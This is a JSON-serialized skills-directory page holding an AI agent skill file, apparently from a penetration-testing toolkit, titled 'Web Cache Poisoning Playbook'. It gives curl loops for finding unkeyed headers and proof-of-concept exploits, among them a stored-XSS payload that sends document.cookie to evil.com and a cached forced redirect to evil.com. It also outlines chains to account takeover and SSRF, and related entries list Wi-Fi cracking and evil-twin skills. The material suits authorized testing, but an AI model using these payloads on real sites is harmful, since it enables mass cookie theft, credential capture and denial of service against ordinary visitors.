[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EJANJM3Z95S5HR8ZNW7ES6":3,"skill-same:01M7EJANJM3Z95S5HR8ZNW7ES6":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7EJANJM3Z95S5HR8ZNW7ES6","web-cache-poisoning",null,"Unkeyed-input cache poisoning — X-Forwarded-Host\u002FScheme\u002FPort, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS \u002F open redirect via shared caches.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fweb-cache-poisoning\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: web-cache-poisoning\ndescription: Unkeyed-input cache poisoning — X-Forwarded-Host\u002FScheme\u002FPort, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS \u002F open redirect via shared caches.\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare\"\n  mitre_attack: T1565.001\n  subdomain: execution\n  tags: web-application, cache, cdn, unkeyed-input, stored-xss\n---\n\n# Web Cache Poisoning Playbook\n\nDistinct from *cache deception* (tricking the cache into storing a victim's\nprivate response). Here, the attacker poisons the **shared** cache so every\nsubsequent visitor receives an attacker-controlled response. Impact ranges from\ndefacement → reflected-XSS-as-stored → forced-redirect → DoS.\n\n## 1. Detection — find unkeyed inputs\n\nDefinition: an *unkeyed* input is a header\u002Fparameter the cache ignores when\nbuilding the cache key but the origin reflects into the response.\n\n```bash\nURL=\"https:\u002F\u002F\u003CTARGET>\u002F\"\n\n# (1) Cache-status fingerprint — must see HIT\u002FMISS to know caching exists\ncurl -s -D- -o \u002Fdev\u002Fnull \"$URL?cb=$RANDOM\" | grep -iE \"age|x-cache|cf-cache-status|via\"\n\n# (2) Suspect headers — reflect into body or Location?\nfor H in \"X-Forwarded-Host: evil.com\" \"X-Forwarded-Scheme: http\" \\\n         \"X-Forwarded-Port: 8888\" \"X-Forwarded-For: evil.com\" \\\n         \"X-Host: evil.com\" \"X-Original-URL: \u002Fadmin\" \\\n         \"X-Rewrite-URL: \u002Fadmin\" \"X-Forwarded-Server: evil.com\" \\\n         \"Forwarded: host=evil.com\"; do\n  echo \"== $H ==\"\n  curl -s \"$URL?cb=$RANDOM\" -H \"$H\" | grep -E \"evil\\.com|8888|\u002Fadmin\" | head -3\ndone\n\n# (3) Confirm poisoning — same URL twice, second request WITHOUT the header\ncurl -s \"$URL?poison=1\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\ncurl -s \"$URL?poison=1\" | grep -E \"evil\\.com\"   # if present → poisoned\n```\n\n## 2. Misconfig \u002F technique matrix\n\n| Class | Trigger | Outcome |\n|---|---|---|\n| Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `\u003Clink rel=canonical>` or absolute URLs | stored open-redirect \u002F XSS |\n| Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM |\n| Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS |\n| Routing override | `X-Original-URL: \u002Fadmin`, `X-Rewrite-URL` | cached admin page served to public |\n| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |\n| Parameter cloaking | `?utm=x&utm=\u003Cpayload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |\n| Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response |\n| Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning |\n| HTTP\u002F0.9 \u002F smuggling-assist | downstream cache stores smuggled response | mass poisoning |\n| Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally |\n| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |\n| 404 \u002F error caching | error page cached with attacker payload reflected | DoS + stored XSS |\n\n## 3. Exploit PoC\n\n### 3.1 Stored-XSS via unkeyed Host\n```bash\n# Origin reflects X-Forwarded-Host into \u003Cmeta property=\"og:url\">\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" \\\n  -H 'X-Forwarded-Host: a\">\u003Cscript>fetch(\"https:\u002F\u002Fevil.com\u002F?c=\"+document.cookie)\u003C\u002Fscript>\u003Cx=\"'\n# Verify cache HIT for the next visitor:\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" | grep -o 'evil\\.com'\n```\n\n### 3.2 Forced redirect\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\n# Subsequent victims:\ncurl -sI \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" | grep -i location\n# → Location: https:\u002F\u002Fevil.com\u002Flogin  (cached for the TTL)\n```\n\n### 3.3 Param-cloaking poison (Ruby\u002FRails-style last-wins vs. CDN first-wins)\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?utm=clean&utm=%22%3E%3Csvg\u002Fonload=alert(1)%3E\"\n```\n\n## 4. Chains\n- **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response.\n- **Cache poisoning → ATO**: poison `\u002Flogin` to send creds to attacker via swapped form action.\n- **Cache poisoning → SSRF**: poison API responses an internal job consumes.\n- **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally.\n\n## 5. Tools\n- Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool\n- `cache-poisoning` payload lists (PortSwigger research)\n- `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary\u002F`X-Cache`\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `X-Forwarded-*` permutations on one URL | WAF rule \u002F access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests |\n| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |\n| Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |\n\n## Decision Gate: poisoning confirmed → exploitation\n- [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks)\n- [ ] At least one unkeyed input reflects into response\u002Fredirect\n- [ ] A second request without the input still returns the poisoned response\n- [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)\n- [ ] Defender notified before live-cache exploitation (authorized scope)\nIf all checked, escalate per `finding-protocol`; otherwise downgrade.\n","# Web Cache Poisoning Playbook\n\nDistinct from *cache deception* (tricking the cache into storing a victim's\nprivate response). Here, the attacker poisons the **shared** cache so every\nsubsequent visitor receives an attacker-controlled response. Impact ranges from\ndefacement → reflected-XSS-as-stored → forced-redirect → DoS.\n\n## 1. Detection — find unkeyed inputs\n\nDefinition: an *unkeyed* input is a header\u002Fparameter the cache ignores when\nbuilding the cache key but the origin reflects into the response.\n\n```bash\nURL=\"https:\u002F\u002F\u003CTARGET>\u002F\"\n\n# (1) Cache-status fingerprint — must see HIT\u002FMISS to know caching exists\ncurl -s -D- -o \u002Fdev\u002Fnull \"$URL?cb=$RANDOM\" | grep -iE \"age|x-cache|cf-cache-status|via\"\n\n# (2) Suspect headers — reflect into body or Location?\nfor H in \"X-Forwarded-Host: evil.com\" \"X-Forwarded-Scheme: http\" \\\n         \"X-Forwarded-Port: 8888\" \"X-Forwarded-For: evil.com\" \\\n         \"X-Host: evil.com\" \"X-Original-URL: \u002Fadmin\" \\\n         \"X-Rewrite-URL: \u002Fadmin\" \"X-Forwarded-Server: evil.com\" \\\n         \"Forwarded: host=evil.com\"; do\n  echo \"== $H ==\"\n  curl -s \"$URL?cb=$RANDOM\" -H \"$H\" | grep -E \"evil\\.com|8888|\u002Fadmin\" | head -3\ndone\n\n# (3) Confirm poisoning — same URL twice, second request WITHOUT the header\ncurl -s \"$URL?poison=1\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\ncurl -s \"$URL?poison=1\" | grep -E \"evil\\.com\"   # if present → poisoned\n```\n\n## 2. Misconfig \u002F technique matrix\n\n| Class | Trigger | Outcome |\n|---|---|---|\n| Standard unkeyed header | `X-Forwarded-Host: evil.com` reflected into `\u003Clink rel=canonical>` or absolute URLs | stored open-redirect \u002F XSS |\n| Scheme downgrade | `X-Forwarded-Scheme: http` reflected | force-HTTP cache → MITM |\n| Port confusion | `X-Forwarded-Port: 1` reflected into JS asset URLs | broken site DoS |\n| Routing override | `X-Original-URL: \u002Fadmin`, `X-Rewrite-URL` | cached admin page served to public |\n| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |\n| Parameter cloaking | `?utm=x&utm=\u003Cpayload>` — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |\n| Key normalization flaw | cache lowercases path, origin doesn't (or strips `;jsessionid`) | desync key vs. response |\n| Cache-key injection via `Vary` gap | response varies on header cache doesn't include | per-attacker poisoning |\n| HTTP\u002F0.9 \u002F smuggling-assist | downstream cache stores smuggled response | mass poisoning |\n| Cache-Control overlap | origin returns `Cache-Control: private`, CDN ignores it | private response cached globally |\n| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |\n| 404 \u002F error caching | error page cached with attacker payload reflected | DoS + stored XSS |\n\n## 3. Exploit PoC\n\n### 3.1 Stored-XSS via unkeyed Host\n```bash\n# Origin reflects X-Forwarded-Host into \u003Cmeta property=\"og:url\">\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" \\\n  -H 'X-Forwarded-Host: a\">\u003Cscript>fetch(\"https:\u002F\u002Fevil.com\u002F?c=\"+document.cookie)\u003C\u002Fscript>\u003Cx=\"'\n# Verify cache HIT for the next visitor:\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?cb=$RANDOM\" | grep -o 'evil\\.com'\n```\n\n### 3.2 Forced redirect\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" -H \"X-Forwarded-Host: evil.com\" -o \u002Fdev\u002Fnull\n# Subsequent victims:\ncurl -sI \"https:\u002F\u002F\u003CTARGET>\u002Flogin?cb=$RANDOM\" | grep -i location\n# → Location: https:\u002F\u002Fevil.com\u002Flogin  (cached for the TTL)\n```\n\n### 3.3 Param-cloaking poison (Ruby\u002FRails-style last-wins vs. CDN first-wins)\n```bash\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002F?utm=clean&utm=%22%3E%3Csvg\u002Fonload=alert(1)%3E\"\n```\n\n## 4. Chains\n- **Cache poisoning → stored XSS**: reflected XSS upgraded to mass-victim impact via cached response.\n- **Cache poisoning → ATO**: poison `\u002Flogin` to send creds to attacker via swapped form action.\n- **Cache poisoning → SSRF**: poison API responses an internal job consumes.\n- **Smuggling → cache poisoning**: HTTP request smuggling stores arbitrary attacker response globally.\n\n## 5. Tools\n- Burp Suite — **Param Miner** extension (Hackvertor + cache rules) — *the* canonical tool\n- `cache-poisoning` payload lists (PortSwigger research)\n- `httpx -follow-redirects -title -tech-detect` for fingerprinting Vary\u002F`X-Cache`\n\n## 6. Detection signatures & OPSEC\n\n| Indicator | Detection method | OPSEC note |\n|---|---|---|\n| Repeated `X-Forwarded-*` permutations on one URL | WAF rule \u002F access log | Cache-bust with `?cb=$RANDOM` per probe; do NOT poison shared paths during tests |\n| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |\n| Mass `Age: 0` on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |\n\n## Decision Gate: poisoning confirmed → exploitation\n- [ ] Caching layer present (`X-Cache: HIT`, `Age:` ticks)\n- [ ] At least one unkeyed input reflects into response\u002Fredirect\n- [ ] A second request without the input still returns the poisoned response\n- [ ] Reflected payload reaches a security-sensitive sink (script, Location, form action)\n- [ ] Defender notified before live-cache exploitation (authorized scope)\nIf all checked, escalate per `finding-protocol`; otherwise downgrade.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, cache, cdn, unkeyed-input, stored-xss","execution","cache poisoning unkeyed header x-forwarded-host x-forwarded-scheme x-original-url param miner fat get cdn varnish cloudflare","T1565.001","Bash Read Write","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fweb-cache-poisoning",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill web-cache-poisoning",{"tool":43,"command":44},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill web-cache-poisoning",{"tool":46,"command":47},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill web-cache-poisoning","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fweb-cache-poisoning\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]